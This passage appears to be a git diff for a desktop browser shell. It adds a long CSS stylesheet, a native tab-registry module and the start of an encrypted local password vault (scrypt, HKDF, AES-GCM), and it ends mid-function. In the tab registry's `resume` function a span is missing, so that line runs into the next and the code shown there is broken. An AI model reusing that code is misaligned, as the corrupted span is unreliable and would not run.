+.browser-tab.active,.browser-tab[aria-selected=true] { + background: var(--surface); + color: var(--text); + box-shadow: 0 1px 2px #263a4e08,inset 0 1px 0 #ffffffa0; +} + +.browser-tab:hover { + background: var(--hover); +} + +.tab-close { + padding: 0; + width: 18px; + height: 18px; + margin-left: 7px; + background: transparent; + color: var(--muted); + font-size: 14px; + position: absolute; + right: 5px; + top: 5px; +} + +.security-state { + display: flex; + align-items: center; + gap: 5px; + color: var(--muted); + background: #ffffff35; + border: 1px solid var(--line); + border-radius: 18px; + padding: 3px 8px; + max-width: 30%; + height: 22px; + font-size: 9px; + flex-shrink: 0; + -webkit-app-region: no-drag; +} + +.security-state img { + width: 11px; + height: 11px; + opacity: .5; +} + +#managed { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.security-state.paused { + color: #a76a2b; + background: #eab75b12; +} + +body[data-tab-mode=compact] .tab-row { + height: 0; +} + +body[data-tab-mode=compact] #tab-strip { + position: absolute; + top: 6px; + left: 220px; + right: 200px; + height: 23px; +} + +body[data-tab-mode=compact] .browser-tab { + height: 22px; + font-size: 10px; + padding: 4px 9px; + min-width: 70px; + border-radius: 9px; +} + +body[data-tab-mode=compact] .tab-close { + top: 2px; + height: 17px; +} + +body[data-tab-mode=compact] #address-form { + margin-top: 24px; + height: 27px; + border-radius: 9px; +} + +body[data-tab-mode=compact] .security-state { + display: none; +} + + +/* Trusted tools menu. Native layout hides website pixels while this overlay is open. */ +.glass-popover { + position: fixed; + right: 12px; + top: 58px; + width: 258px; + z-index: 80; + background: var(--panel); + border: 1px solid #ffffff90; + box-shadow: var(--shadow); + backdrop-filter: blur(35px) saturate(1.4); + padding: 10px; + border-radius: 18px; + -webkit-app-region: no-drag; +} + +.menu-caption { + font-size: 9px; + letter-spacing: 1px; + color: var(--muted); + padding: 2px 9px; + margin: 5px 0 7px; +} + +.menu-item { + display: flex; + align-items: center; + gap: 10px; + width: 100%; + padding: 9px 10px; + font-size: 12px; + font-weight: 400; + background: transparent; + color: var(--text); + text-align: left; + border-radius: 9px; +} + +.menu-item img { + width: 16px; + height: 16px; + opacity: .7; +} + +.menu-item:hover { + background: var(--hover); +} + +.menu-divider { + height: 1px; + background: var(--line); + margin: 8px; +} + +#settings { + display: grid; + grid-template-columns: 1fr 112px; + gap: 9px; + align-items: center; + padding: 4px 8px; +} + +#settings label { + margin: 0; + font-size: 12px; + font-weight: 400; +} + +#settings select { + background: var(--surface); + color: var(--text); + border: 1px solid var(--line); + border-radius: 7px; + padding: 5px 7px; + font-size: 12px; + -webkit-app-region: no-drag; +} + +.appearance-status { + margin: 10px 8px 2px; + color: var(--muted); + font-size: 11px; + line-height: 1.5; +} + + +/* Right sidebars: 360px; left library: 240px. */ +aside { + position: fixed; + right: 0; + top: var(--chrome-height); + bottom: 0; + width: 360px; + background: var(--panel); + border-left: 1px solid var(--line); + padding: 20px; + display: flex; + flex-direction: column; + overflow: auto; + z-index: 35; + backdrop-filter: blur(24px); +} + +#library { + left: 0; + right: auto; + width: var(--sidebar-width); + padding: 17px 12px; + border-left: 0; + border-right: 1px solid var(--line); + background: color-mix(in srgb,var(--page-tint) 9%,var(--glass)); + z-index: 34; +} + +.library-brand { + display: flex; + gap: 11px; + align-items: center; + padding: 7px 8px 24px; +} + +.brand-monogram { + width: 30px; + height: 30px; + border-radius: 10px; + display: grid; + place-items: center; + background: #ffffff85; + box-shadow: 0 1px 6px #0000000b; + font-size: 18px; + font-weight: 600; + color: #657087; +} + +.library-brand strong { + display: block; + font-size: 13px; + font-weight: 600; +} + +.library-brand span { + display: block; + font-size: 9px; + color: var(--muted); + margin-top: 3px; +} + +.library-item { + display: flex; + align-items: center; + gap: 11px; + background: transparent; + color: var(--text); + width: 100%; + text-align: left; + font-size: 12px; + font-weight: 400; + padding: 9px 11px; + border-radius: 9px; +} + +.library-item img { + width: 16px; + height: 16px; + opacity: .65; +} + +.library-item:hover,.library-item.active { + background: var(--hover); +} + +.library-heading { + display: flex; + align-items: center; + justify-content: space-between; + font-size: 8px; + font-weight: 600; + letter-spacing: 1px; + color: var(--muted); + padding: 22px 11px 7px; +} + +.library-heading .icon-button { + width: 22px; + height: 22px; + padding: 4px; +} + +.library-heading .icon-button img { + width: 12px; + height: 12px; +} + +.library-footer { + margin-top: auto; + display: flex; + gap: 7px; + align-items: center; + padding: 18px 10px 3px; + color: var(--muted); + font-size: 9px; +} + +.library-footer img { + width: 13px; + height: 13px; + opacity: .5; +} + +#library-tabs,#library-groups { + display: flex; + flex-direction: column; + gap: 3px; +} + +#library-tabs button,#library-groups button { + width: 100%; + background: transparent; + color: var(--text); + text-align: left; + font-size: 11px; + font-weight: 400; + padding: 8px 10px; + border-radius: 8px; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +#library-tabs button.active,#library-groups button.active { + background: color-mix(in srgb,var(--accent) 7%,transparent); + color: var(--accent-text); +} + + +/* Enrollment and policy-paused state. */ +#welcome { + position: fixed; + left: 0; + right: 0; + top: var(--chrome-height); + bottom: 0; + display: flex; + align-items: center; + justify-content: center; + background: radial-gradient(ellipse at 50% 5%,color-mix(in srgb,var(--page-tint) 28%,transparent),transparent 70%),var(--base); + z-index: 20; +} + +.card { + width: 490px; + max-width: 90vw; + background: var(--surface); + border: 1px solid #ffffff75; + border-radius: 25px; + padding: 32px 36px; + box-shadow: var(--shadow); + backdrop-filter: blur(30px); +} + +.welcome-mark { + display: grid; + place-items: center; + background: color-mix(in srgb,var(--accent) 5%,transparent); + border-radius: 14px; + width: 48px; + height: 48px; +} + +.welcome-mark img { + width: 25px; + height: 25px; + opacity: .7; +} + +.eyebrow { + font-size: 9px; + font-weight: 600; + letter-spacing: 1.4px; + color: var(--muted); + margin: 20px 0 7px; +} + +h1 { + font-size: 30px; + letter-spacing: -1px; + margin: 10px 0; + font-weight: 600; +} + +p { + font-size: 12px; + line-height: 1.65; + color: var(--muted); +} + +label { + display: grid; + gap: 7px; + font-size: 11px; + font-weight: 600; + margin: 16px 0 7px; + color: var(--muted); +} + +input,textarea { + width: 100%; + border: 1px solid var(--line); + border-radius: 10px; + padding: 10px 11px; + background: var(--surface); + color: var(--text); + font-size: 12px; + -webkit-app-region: no-drag; +} + +.actions { + display: flex; + gap: 9px; + margin: 18px 0; +} + +.actions button { + flex: 1; +} + +small { + display: block; + color: var(--muted); + font-size: 10px; + line-height: 1.6; +} + +#error,#vault-error { + color: #c95e55; + font-size: 12px; +} + +#error:empty,#vault-error:empty { + display: none; +} + + +/* AI and vault panels preserve existing security controls. */ +.panel-title { + display: flex; + align-items: center; + justify-content: space-between; +} + +.panel-title .eyebrow { + font-size: 8px; + margin: 0 0 6px; + letter-spacing: 1.1px; +} + +h2 { + font-size: 20px; + font-weight: 600; + letter-spacing: -.5px; + margin: 0; +} + +.panel-description { + font-size: 11px; + margin: 13px 0 20px; + color: var(--muted); +} + +.panel-title .icon-button { + width: 28px; + height: 28px; +} + +#conversation { + flex: 1; + overflow: auto; + min-height: 90px; + white-space: pre-wrap; + font-size: 12px; + line-height: 1.7; +} + +.entry { + padding: 12px; + background: var(--hover); + border-radius: 13px; + margin-bottom: 12px; + overflow-wrap: anywhere; +} + +.empty-chat { + text-align: center; + margin: 65px 12px 20px; + white-space: normal; +} + +.empty-chat img { + margin: auto; + width: 30px; + height: 30px; + opacity: .4; +} + +.empty-chat h3 { + font-size: 15px; + font-weight: 500; + letter-spacing: -.3px; + color: var(--muted); +} + +.empty-chat p { + font-size: 12px; + color: var(--muted); +} + +#ai-form { + border: 1px solid var(--line); + border-radius: 16px; + background: var(--surface); + padding: 8px; + margin-top: 15px; +} + +#prompt { + height: 95px; + resize: vertical; + border: 0; + max-height: 200px; + background: transparent; + font-size: 12px; + padding: 6px; + outline: none; +} + +.composer-footer { + display: flex; + align-items: center; + justify-content: space-between; + font-size: 9px; + color: var(--muted); + padding: 4px; +} + +.composer-footer button { + display: flex; + gap: 6px; + align-items: center; + padding: 7px 10px; + border-radius: 8px; +} + +.composer-footer img { + width: 14px; + height: 14px; + filter: invert(1); +} + +#vault-access-submit { + width: 100%; + margin: 14px 0; +} + +#vault-access-note { + margin-top: 4px; +} + +#vault-open { + display: flex; + flex-direction: column; + gap: 15px; +} + +.vault-actions { + display: flex; + align-items: center; + justify-content: space-between; + font-size: 11px; + color: var(--muted); +} + +.vault-actions button { + padding: 6px 10px; +} + +.login-card { + padding: 13px; + border: 1px solid var(--line); + border-radius: 13px; + background: var(--surface); + margin-bottom: 9px; +} + +.login-card strong { + display: block; + font-size: 12px; + font-weight: 600; + overflow-wrap: anywhere; +} + +.login-card p { + font-size: 10px; + margin: 5px 0; + overflow-wrap: anywhere; +} + +.login-buttons { + display: flex; + gap: 7px; + margin-top: 10px; +} + +.login-buttons button { + padding: 6px 10px; + font-size: 10px; +} + +.empty-vault { + text-align: center; + padding: 25px 8px; + color: var(--muted); + font-size: 12px; +} + +details { + border-top: 1px solid var(--line); + padding-top: 15px; +} + +summary { + font-size: 12px; + font-weight: 600; + cursor: pointer; + color: var(--accent-text); +} + +#vault-save label { + font-size: 10px; +} + +#vault-save input { + font-size: 11px; +} + + +/* Local start page and navigation-record overview. */ +#start-page { + position: fixed; + inset: var(--chrome-height) 0 0; + overflow: auto; + background: radial-gradient(ellipse at 65% 0%,color-mix(in srgb,var(--page-tint) 32%,transparent),transparent 65%),var(--base); + z-index: 19; + display: block; +} + +body.sidebar-open #start-page,body.sidebar-open #overview { + left: var(--sidebar-width); +} + +body.ai-open #start-page,body.vault-open #start-page { + right: 360px; +} + +.start-content { + max-width: 830px; + margin: 70px auto 40px; + padding: 0 35px; +} + +.start-eyebrow { + font-size: 9px; + letter-spacing: 2px; + color: var(--muted); + margin: 0 0 9px; +} + +.start-content>h1 { + font-size: 36px; + letter-spacing: -1.4px; + margin: 0 0 45px; +} + +.start-section { + margin: 0 0 35px; +} + +.section-title { + display: flex; + align-items: center; + justify-content: space-between; + margin: 0 0 17px; +} + +.section-title h2 { + font-size: 17px; + letter-spacing: -.4px; +} + +.section-title span { + font-size: 10px; + color: var(--muted); +} + +.favorites-grid { + display: grid; + grid-template-columns: repeat(auto-fill,minmax(86px,1fr)); + gap: 18px; +} + +.favorite-tile { + display: flex; + flex-direction: column; + align-items: center; + gap: 9px; + padding: 0; + background: transparent; + color: var(--text); + font-weight: 400; +} + +.favorite-icon { + display: grid; + place-items: center; + width: 64px; + height: 64px; + border-radius: 17px; + background: var(--surface); + box-shadow: 0 4px 14px #242e4610,inset 0 1px 0 #ffffffc0; + font-size: 25px; + font-weight: 500; + color: var(--accent-text); +} + +.favorite-tile img { + width: 27px; + height: 27px; + opacity: .6; +} + +.favorite-tile span { + font-size: 10px; + max-width: 86px; + text-align: center; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.recent-list { + display: grid; + gap: 8px; +} + +.recent-item { + display: flex; + align-items: center; + gap: 12px; + width: 100%; + text-align: left; + padding: 13px 16px; + border-radius: 14px; + background: var(--surface); + color: var(--text); + border: 1px solid #ffffff60; + font-size: 12px; + font-weight: 400; +} + +.recent-item img { + width: 18px; + height: 18px; + opacity: .5; +} + +.recent-item small { + font-size: 9px; + margin-top: 3px; +} + +.privacy-card { + display: flex; + align-items: center; + gap: 15px; + padding: 20px; + border-radius: 18px; + background: var(--surface); + border: 1px solid #ffffff65; + box-shadow: 0 2px 12px #26304c05; +} + +.privacy-icon { + width: 38px; + height: 38px; + border-radius: 12px; + background: color-mix(in srgb,var(--accent) 4%,transparent); + display: grid; + place-items: center; +} + +.privacy-icon img { + width: 23px; + height: 23px; + opacity: .6; +} + +.privacy-card strong { + font-size: 12px; + font-weight: 500; +} + +.privacy-card p { + font-size: 10px; + margin: 5px 0 0; +} + +.session-note { + font-size: 9px; + text-align: center; + color: var(--muted); + opacity: .7; + margin: 25px 0; +} + +#overview { + position: fixed; + inset: var(--chrome-height) 0 0; + overflow: auto; + background: color-mix(in srgb,var(--page-tint) 18%,var(--base)); + backdrop-filter: blur(35px); + z-index: 40; + padding: 40px; +} + +.overview-heading { + display: flex; + justify-content: space-between; + align-items: center; + max-width: 1000px; + margin: auto; +} + +.overview-heading h1 { + font-size: 30px; +} + +.overview-note { + max-width: 1000px; + margin: 0 auto 30px; +} + +#overview-grid { + max-width: 1000px; + margin: auto; + display: grid; + grid-template-columns: repeat(auto-fill,minmax(210px,1fr)); + gap: 22px; +} + +.overview-card { + border: 1px solid #ffffff70; + background: var(--surface); + color: var(--text); + border-radius: 20px; + padding: 23px; + text-align: left; + min-height: 150px; + box-shadow: 0 6px 18px #15254008; +} + +.overview-card strong { + display: block; + font-size: 15px; + font-weight: 500; + margin: 15px 0 7px; +} + +.overview-card small { + font-size: 10px; + overflow-wrap: anywhere; +} + +.overview-card img { + width: 24px; + height: 24px; + opacity: .6; +} + + +/* Explicit dark mode, followed by automatic OS theme selection. */ +body[data-theme=dark] { + --text: #eceef5; + --muted: #989cac; + --line: #ffffff10; + --surface: #ffffff0e; + --glass: #242733dc; + --base: #181b24; + --hover: #ffffff09; + --panel: #20242eef; + --shadow: 0 12px 40px #00000035; +} + +body[data-theme=dark] img:not(.traffic img) { + filter: invert(.86); +} + +body[data-theme=dark] #address-form,body[data-theme=dark] .card,body[data-theme=dark] .glass-popover { + border-color: #ffffff12; +} + +body[data-theme=dark] #chrome { + box-shadow: inset 0 1px 0 #ffffff15; +} + +body[data-theme=dark] .brand-monogram { + background: #ffffff10; + color: #b7c3d8; +} + +@media(prefers-color-scheme:dark) { + body[data-theme=auto] { + --text: #eceef5; + --muted: #989cac; + --line: #ffffff10; + --surface: #ffffff0e; + --glass: #242733dc; + --base: #181b24; + --hover: #ffffff09; + --panel: #20242eef; + --shadow: 0 12px 40px #00000035; + } + body[data-theme=auto] img:not(.traffic img) { + filter: invert(.86); + } + body[data-theme=auto] #address-form,body[data-theme=auto] .card,body[data-theme=auto] .glass-popover { + border-color: #ffffff12; + } + body[data-theme=auto] #chrome { + box-shadow: inset 0 1px 0 #ffffff15; + } +} + +:focus-visible { + outline: 3px solid #72b1f070; + outline-offset: 2px; +} + +[hidden] { + display: none!important; +} + +.visually-hidden { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0,0,0,0); + white-space: nowrap; + border: 0; +} + +@media(max-width:900px) { + .toolbar { + grid-template-columns: 185px minmax(160px,1fr) 148px; + gap: 8px; + } + .toolbar-trailing { + gap: 1px; + } + .start-content { + margin-top: 45px; + padding: 0 25px; + } + .start-content>h1 { + font-size: 29px; + } + body[data-tab-mode=compact] #tab-strip { + left: 208px; + right: 168px; + } + .section-title span { + display: none; + } +} + +@media(prefers-reduced-motion:no-preference) { + button { + transition: background .15s,opacity .15s; + } + .glass-popover { + animation: appear .13s ease-out; + } + @keyframes appear { + from { + opacity: 0; + transform: translateY(-4px); + } + to { + opacity: 1; + transform: translateY(0); + } + } +} + + +/* Dynamic renderer component hooks and compact sidebar links. */ +.group-controls { + display: flex; + align-items: center; + gap: 5px; + margin: 4px 7px 10px; +} + +.group-controls input { + padding: 6px 8px; + font-size: 10px; + min-width: 0; + background: var(--surface); + border-radius: 8px; +} + +.group-controls button { + flex-shrink: 0; + width: 25px; + height: 25px; + padding: 5px; +} + +.group-controls img { + width: 13px; + height: 13px; +} + +.favorite-card { + display: flex; + flex-direction: column; + align-items: center; + gap: 9px; + padding: 0; + background: transparent; + color: var(--text); + font-weight: 400; +} + +.favorite-card img { + width: 27px; + height: 27px; + opacity: .6; +} + +.favorite-card span:not(.favorite-icon) { + font-size: 10px; + max-width: 86px; + text-align: center; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.favorite-icon { + flex-shrink: 0; +} + +.tab-label { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + padding-right: 8px; +} + +.group-item { + display: flex; + align-items: center; + gap: 8px; +} + +.group-item img { + width: 14px; + height: 14px; + opacity: .5; +} + +#favorites-empty { + font-size: 11px; + color: var(--muted); + padding: 15px 0; +} + +.library-tab { + display: flex; + align-items: center; + gap: 8px; +} + +.library-tab.active { + background: color-mix(in srgb,var(--accent) 7%,transparent)!important; + color: var(--accent-text)!important; +} + +.favorite-card strong { + font-size: 10px; + font-weight: 400; + max-width: 90px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.favorite-card small { + font-size: 9px; + text-align: center; +} + +.favorite-icon span { + font-size: 25px; + font-weight: 500; +} + +.browser-tab .tab-label { + display: block; +} + +.browser-tab .tab-close { + background: transparent; + color: var(--muted); + border-radius: 5px; +} + +.browser-tab .tab-close:hover { + background: var(--hover); +} + +.browser-tab { + display: flex; + align-items: center; + justify-content: center; + padding: 0 28px 0 7px; +} + +.browser-tab .tab-label { + border: 0; + flex: 1; + min-width: 0; + height: 100%; + padding: 6px 8px; + font-size: 11px; + font-weight: 400; + color: inherit; + background: transparent; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + border-radius: 8px; +} + +.browser-tab .tab-close { + display: grid; + place-items: center; + font-size: 13px; + font-weight: 400; + padding: 0; +} + +.browser-tab.active .tab-close { + opacity: .6; +} + +.browser-tab:not(.active) .tab-close { + opacity: 0; +} + +.browser-tab:hover .tab-close { + opacity: .6; +} + +body[data-tab-mode=compact] .browser-tab .tab-label { + font-size: 10px; + padding: 3px 5px; +} + +.overview-card span { + display: block; + overflow-wrap: anywhere; +} + +.library-section { + border: 0; + padding: 0; + margin: 2px 0; +} + +.library-section summary { + list-style: none; + font-weight: 400; + color: var(--text); +} + +.library-section summary::-webkit-details-marker { + display: none; +} + +.library-links .favorite-card { + width: 100%; + flex-direction: row; + justify-content: flex-start; + gap: 9px; + padding: 6px 10px; + border-radius: 8px; + margin-top: 2px; +} + +.library-links .favorite-card:hover { + background: var(--hover); +} + +.library-links .favorite-icon { + width: 23px; + height: 23px; + border-radius: 7px; + box-shadow: none; + font-size: 12px; +} + +.library-links .favorite-card strong { + font-size: 10px; + max-width: 160px; +} + +.recent-list .favorite-card { + flex-direction: row; + gap: 12px; + background: var(--surface); + padding: 12px 15px; + border-radius: 14px; + align-items: center; +} + +.recent-list .favorite-icon { + width: 34px; + height: 34px; + font-size: 17px; + border-radius: 10px; +} + +.recent-list .favorite-card strong { + font-size: 12px; + max-width: none; + text-align: left; +} + +body:has(#ai:not([hidden])) #start-page,body:has(#vault:not([hidden])) #start-page { + right: 360px; +} + +.library-item { + color: var(--text); +} + +body[data-theme=dark] .glass-popover,body[data-theme=dark] .privacy-card,body[data-theme=dark] .overview-card { + border-color: #ffffff12; +} + +body[data-theme=dark] .browser-tab.active { + box-shadow: inset 0 1px 0 #ffffff08; +} + +body[data-theme=dark] .favorite-icon { + box-shadow: 0 4px 14px #00000018,inset 0 1px 0 #ffffff10; +} + + +/* Glass fallback: these styles affect only the trusted shell, never website content. */ +@supports not (background: color-mix(in srgb, red, blue)) { + #chrome { + background: var(--glass); + } + #library { + background: var(--glass); + } + #overview { + background: var(--base); + } + #welcome, #start-page { + background: var(--base); + } +} + + +/* Older renderers and reduced-transparency preferences use opaque surfaces. */ +@supports not (backdrop-filter: blur(1px)) { + #chrome, #library, .glass-popover, aside, .card { + background: var(--base); + } + #address-form { + background: var(--base); + } +} + +@media (prefers-reduced-transparency: reduce) { + #chrome, #library, .glass-popover, aside, .card, #overview, #address-form { + backdrop-filter: none; + background: var(--base); + } +} + +/* Accessibility polish: preserve the small traffic-light visual with 24px hit targets. */ +.traffic-lights { + gap: 0; + padding-right: 8px; +} +.traffic { + position: relative; + width: 24px; + height: 24px; + border: 0; + background: transparent; +} +.traffic::before { + content: ""; + position: absolute; + inset: 6px; + border-radius: 50%; + background: var(--traffic-color); + border: 1px solid #00000012; +} +.traffic.close { + --traffic-color: #ff605a; + background: transparent; +} +.traffic.minimize { + --traffic-color: #ffbd2e; + background: transparent; +} +.traffic.maximize { + --traffic-color: #28c840; + background: transparent; +} +.traffic img { + position: relative; + z-index: 1; +} +.traffic:focus-visible img { + opacity: .75; +} +:root { + --muted: #69707d; +} +:focus-visible { + outline: 3px solid var(--accent); + outline-offset: 2px; +} +.session-note { + opacity: 1; +} + +/* The trusted start page can become narrow when both managed sidebars are open. */ +#start-page { + container-type: inline-size; +} +@container (max-width: 400px) { + .start-content { + margin-top: 35px; + padding: 0 20px; + } + .start-content > h1 { + font-size: 27px; + margin-bottom: 30px; + overflow-wrap: anywhere; + } + .privacy-card { + display: block; + } + .privacy-icon { + margin-bottom: 12px; + } + .privacy-card p, + .recent-list .favorite-card strong { + white-space: normal; + overflow-wrap: anywhere; + } + .section-title h2 { + font-size: 15px; + } + .favorites-grid { + grid-template-columns: repeat(auto-fill, minmax(70px, 1fr)); + gap: 14px; + } +} + +/* Shell-only scrollbars stay unobtrusive at the 800px minimum window width. */ +#library, +#start-page, +#overview, +#ai, +#vault { + scrollbar-width: thin; + scrollbar-color: color-mix(in srgb, var(--muted) 45%, transparent) transparent; +} +@media (forced-colors: active) { + #library, + #start-page, + #overview, + #ai, + #vault { + scrollbar-color: auto; + } +} + +/* Company links remain readable when the library is locked; mutation controls disappear. */ +.bookmark-row{display:flex;align-items:center;gap:4px;margin:4px 0}.bookmark-link{flex:1;min-width:0;text-align:left;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.bookmark-action{font-size:10px;padding:5px}.bookmark-section-label{font-size:11px;font-weight:600;opacity:.7;margin:12px 0 6px} +#bookmark-editor{color:var(--text,#202632);background:var(--surface,#edf1f6);border:1px solid #8885;border-radius:22px;padding:24px;width:min(420px,80vw);box-shadow:0 24px 80px #0005}#bookmark-editor::backdrop{background:#17233b55;backdrop-filter:blur(8px)}#bookmark-editor label{display:block;margin:12px 0}#bookmark-editor input{display:block;width:100%;box-sizing:border-box;margin-top:5px}#bookmark-editor-error{color:#d53939;font-size:12px}.bookmark-notice{font-size:12px;opacity:.75} diff --git a/apps/browser/tab-registry.cjs b/apps/browser/tab-registry.cjs new file mode 100644 index 0000000..1704e4b --- /dev/null +++ b/apps/browser/tab-registry.cjs @@ -0,0 +1,54 @@ +'use strict'; +const {randomUUID}=require('node:crypto'); + +// Native ownership only: renderer tab labels never own or replace a WebContents. +function createTabRegistry({createView,attach=()=>{},detach=()=>{},dispose=()=>{},maxTabs=32}={}) { + if(typeof createView!=='function'||![attach,detach,dispose].every(fn=>typeof fn==='function')||!Number.isSafeInteger(maxTabs)||maxTabs<1||maxTabs>128)throw TypeError('Invalid native tab registry'); + const tabs=new Map(),byContents=new Map();let activeId=null,activation=0,policyVersion=0,paused=true,closed=false; + const requireTab=id=>{const tab=tabs.get(id);if(!tab||tab.view.webContents.isDestroyed())throw Error('Unknown native tab');return tab;}; + const invalidate=tab=>{tab.navigationId++;tab.security.visualApproval=null;tab.security.visualToken='';tab.security.visualRevision=-1;tab.security.visualScanner?.reset();}; + function create({group=''}={}) { + if(closed||tabs.size>=maxTabs)throw Error('Native tab capacity reached'); + if(typeof group!=='string'||group.length>100)throw TypeError('Invalid tab group'); + const view=createView(),contents=view?.webContents; + if(!contents||!Number.isSafeInteger(contents.id)||contents.isDestroyed()||byContents.has(contents.id))throw Error('Invalid native tab view'); + const tab={id:randomUUID(),view,group,navigationId:0,title:'New Tab',color:'#edf1f6',startPage:true,security:{visualApproval:null,visualToken:'',visualRevision:-1,visualPending:null,visualBlocked:null,contentBlocked:null,visualScanner:null}}; + view.setVisible(false);tabs.set(tab.id,tab);byContents.set(contents.id,tab); + if(!activeId)activate(tab.id);return tab; + } + function activate(id) { + const next=requireTab(id);if(id===activeId)return next; + const previous=tabs.get(activeId);if(previous){previous.view.setVisible(false);detach(previous.view);} + activeId=id;activation++;attach(next.view);next.view.setVisible(false);return next; + } + function remove(id) { + const tab=requireTab(id),wasActive=id===activeId;invalidate(tab);tab.view.setVisible(false); + tabs.delete(id);byContents.delete(tab.view.webContents.id); + if(wasActive){detach(tab.view);activeId=null;activation++;} + try{dispose(tab);}finally{tab.view.webContents.close({waitForBeforeUnload:false});} + if(wasActive&&tabs.size)activate(tabs.keys().next().value); + } + function context(id=activeId,{foreground=true}={}) { + const tab=requireTab(id);return Object.freeze({tabId:tab.id,webContents:tab.view.webContents,navigationId:tab.navigationId,url:tab.view.webContents.getURL(),policyVersion,activation:foreground?activation:null,foreground,paused}); + } + function current(token,{expectedURL=token?.url}={}) { + const tab=token&&tabs.get(token.tabId); + return !!tab&&!paused&&!token.paused&&!tab.view.webContents.isDestroyed()&&tab.view.webContents===token.webContents&&tab.navigationId===token.navigationId&&policyVersion===token.policyVersion&&tab.view.webContents.getURL()===expectedURL&&(!token.foreground||(activeId===tab.id&&activation===token.activation)); + } + function quarantine() { + paused=true;activation++; + for(const tab of tabs.values()){invalidate(tab);tab.view.webContents.stop();tab.view.setVisible(false);tab.security.developerToolsGuard?.close();tab.view.webContents.closeDevTools?.();} + } + function resume(version) { + if(!Number.isSafeInteger(version)||version<1||versionactiveId?requireTab(activeId):null, + fromContents:id=>byContents.get(id)||null,all:()=>[...tabs.values()], + navigation:id=>invalidate(requireTab(id)), + close:()=>{closed=true;quarantine();for(const id of [...tabs.keys()])remove(id);}, + summary:()=>({activeTabId:activeId,tabs:[...tabs.values()].map(tab=>({id:tab.id,group:tab.group,title:tab.title,url:tab.view.webContents.getURL(),startPage:tab.startPage,color:tab.color,canGoBack:tab.view.webContents.navigationHistory?.canGoBack()||false,canGoForward:tab.view.webContents.navigationHistory?.canGoForward()||false}))})}; +} +module.exports={createTabRegistry}; diff --git a/apps/browser/vault.cjs b/apps/browser/vault.cjs new file mode 100644 index 0000000..778665b --- /dev/null +++ b/apps/browser/vault.cjs @@ -0,0 +1,161 @@ +'use strict'; +const crypto = require('node:crypto'); +const fs = require('node:fs'); +const path = require('node:path'); +const MAX_FILE = 8 * 1024 * 1024; +const SCRYPT = Object.freeze({ N: 131072, r: 8, p: 1, maxmem: 192 * 1024 * 1024 }); +const FORMAT = 'safetynet-local-vault-v1'; +const fail = () => { throw new Error('Vault operation refused'); }; +const wipe = value => { if (Buffer.isBuffer(value)) value.fill(0); }; +const encode = value => value.toString('base64'); +function decode(value, maximum = MAX_FILE) { + if (typeof value !== 'string' || value.length > Math.ceil(maximum / 3) * 4 || !/^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/.test(value)) fail(); + const result = Buffer.from(value, 'base64'); + if (result.length > maximum || encode(result) !== value) fail(); + return result; +} +function seal(key, bytes, aad) { + const nonce = crypto.randomBytes(12); + const cipher = crypto.createCipheriv('aes-256-gcm', key, nonce); + cipher.setAAD(Buffer.from(aad)); + return { nonce: encode(nonce), ciphertext: encode(Buffer.concat([cipher.update(bytes), cipher.final()])), tag: encode(cipher.getAuthTag()) }; +} +function open(key, record, aad) { + if (!record || typeof record !== 'object') fail(); + const nonce = decode(record.nonce, 12), tag = decode(record.tag, 16); + if (nonce.length !== 12 || tag.length !== 16) fail(); + const decipher = crypto.createDecipheriv('aes-256-gcm', key, nonce); + decipher.setAAD(Buffer.from(aad)); decipher.setAuthTag(tag); + return Buffer.concat([decipher.update(decode(record.ciphertext)), decipher.final()]); +} +function origin(value) { + if (typeof value !== 'string' || value.length > 2048) fail(); + let url; try { url = new URL(value); } catch { fail(); } + if (url.protocol !== 'https:' || url.username || url.password || url.origin !== value) fail(); + return url.origin; +} +function text(value, maximum) { + if (typeof value !== 'string' || value.length > maximum || value.includes('\0')) fail(); + return value; +} +function master(value) { return text(value, 1024).length >= 16 ? value : fail(); } +function wrappingKey(shared, vaultId) { + return Buffer.from(crypto.hkdfSync('sha256', shared, Buffer.from(vaultId), Buffer.from(FORMAT + ':kem-wrap'), 32)); +} +function generatePassword(length = 32) { + if (!Number.isInteger(length) || length < 24 || length > 128) fail(); + const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+'; + return Array.from({ length }, () => alphabet[crypto.randomInt(alphabet.length)]).join(''); +} +function createVault({ filePath, protect, unprotect, idleSeconds = 300 }) { + if (typeof filePath !== 'string' || !path.isAbsolute(filePath) || typeof protect !== 'function' || typeof unprotect !== 'function' || !Number.isInteger(idleSeconds) || idleSeconds < 60 || idleSeconds > 900) fail(); + let key = null, entries = [], envelope = null, timer = null; + function lock() { + clearTimeout(timer); timer = null; wipe(key); key = null; + for (const entry of entries) { entry.password = ''; entry.username = ''; entry.label = ''; entry.origin = ''; } + entries = []; envelope = null; + } + function touch() { clearTimeout(timer); timer = setTimeout(lock, idleSeconds * 1000); timer.unref(); } + function requireUnlocked(refreshIdle = true) { if (!key) fail(); if (refreshIdle) touch(); } + function checkedFile() { + const stat = fs.lstatSync(filePath); + if (!stat.isFile() || stat.isSymbolicLink() || stat.size < 1 || stat.size > MAX_FILE) fail(); + const fd = fs.openSync(filePath, fs.constants.O_RDONLY | (fs.constants.O_NOFOLLOW || 0)); + const bytes = Buffer.alloc(MAX_FILE + 1); + try { + if (fs.fstatSync(fd).size > MAX_FILE) fail(); + let length = 0, count; + while (length < bytes.length && (count = fs.readSync(fd, bytes, length, bytes.length - length, null))) length += count; + if (length > MAX_FILE) fail(); + return JSON.parse(bytes.subarray(0, length).toString('utf8')); + } finally { wipe(bytes); fs.closeSync(fd); } + } + function header(record) { + return JSON.stringify({ format: record.format, vaultId: record.vaultId, salt: record.salt, privateKey: record.privateKey, kemCiphertext: record.kemCiphertext }); + } + function persist() { + const bytes = Buffer.from(JSON.stringify({ entries })); + let temporary; + try { + const aad = header(envelope); + const output = Buffer.from(JSON.stringify({ ...envelope, payload: seal(key, bytes, aad + ':' + JSON.stringify(envelope.wrappedKey)) })); + if 